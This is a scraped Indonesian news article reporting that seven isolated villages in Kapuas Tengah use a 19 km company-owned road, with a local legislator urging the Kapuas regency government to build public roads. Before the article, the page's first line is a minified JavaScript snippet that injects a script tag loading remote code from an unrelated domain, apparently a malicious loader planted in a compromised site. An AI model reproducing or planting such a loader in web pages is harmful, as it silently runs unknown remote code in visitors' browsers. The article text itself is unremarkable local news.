(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Warga Pakai Akses Jalan Perusahaan, Berinto: Pemkab Kapuas Mestinya Hadir!


KANALKALIMANTAN.COM, KUALA KAPUAS – Sedikitnya tujuh desa di Kecamatan Kapuas Tengah, masyarakat masih menggunakan akses jalan milik perusahaan.

Di antaranya yaitu desa Marapit, Bubut Jaya, Baronang, Mampir, Karokos, Manis dan desa Petak Bahenda.

Desa-desa itu masih terisolir karena belum memiliki jalan umum menuju ibu kota Kecamatan Kapuas Tengah.

Melihat kondisi tersebut, Anggota DPRD Kabupaten Kapuas Berinto mengatakan, desa-desa itu masih diperlakuan diskriminatif dan ketidakadilan. Dia meminta Pemerintah Kabupaten Kapuas segera membangun infrastruktur jalan, karena wilayah tersebut penghasil tambang batu bara dan HPH, tetapi masyarakat tidak memiliki fasilitas jalan yang baik.

Camat Kapuas Tengah Dodo SP. Foto: ags

“Pemerintah daerah harus lebih serius membuka akses daerah yang masih terisolir tersebut, jangan hanya melempar tanggung jawab kepada PT Daya Sakti (HPH) dan group PT Asmin (tambang batu bara), Pemkab Kapuas wajib hadir untuk solusi supaya pembangunan infrastruktur jalan tersebut bisa digunakan oleh masyarakat,” bebernya.

Keinginan itu diutarakan politisi Partai Nasdem ini dalam Musyawarah Rencana Pembangunan (Musrenbang) Kecamatan Kapuas Tengah di aula Sahawung di Pujon pada 17 Februari 2021 lalu.

“Dalam forum Musrenbang Kecamatan Kapuas Tengah kami menyarankan agar bidang infrastruktur lebih menitik beratkan pembukaan wilayah terisolir, berharap wilayah-wilayah tersebut dapat menjadi prioritas utama pembangunan tahun 2022 mendatang,” kata Berinto.

Camat Kapuas Tengah Dodo SP mengakui bahwa benar keberadaan ruas jalan yang digunakan masyarakat di desa-desa itu masuh dalam wilayah HPH dan tambang batu bara.

“Jadi status jalan milik perusahaan bukan aset milik Pemkab Kapuas, ruas jalan penghubung milik perusahaan tersebut yang selama ini digunakan masyarakat, panjang jalan sekitar 19 km, ruas jalan tersebut ada dilaksanakan melalui penggunaan dana CSR,” kata Camat Kapuas Tengah.

Pemkab Kapuas berencana akan membicarakan lagi hal ini bersama pihak perusahaan, untuk mengupayakan agar pembangunan jalan wilayah desa yang terisolir bisa terbuka. (kanalkalimantan.com/ags)

 

 

Reporter : Ags
Editor : Bie

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.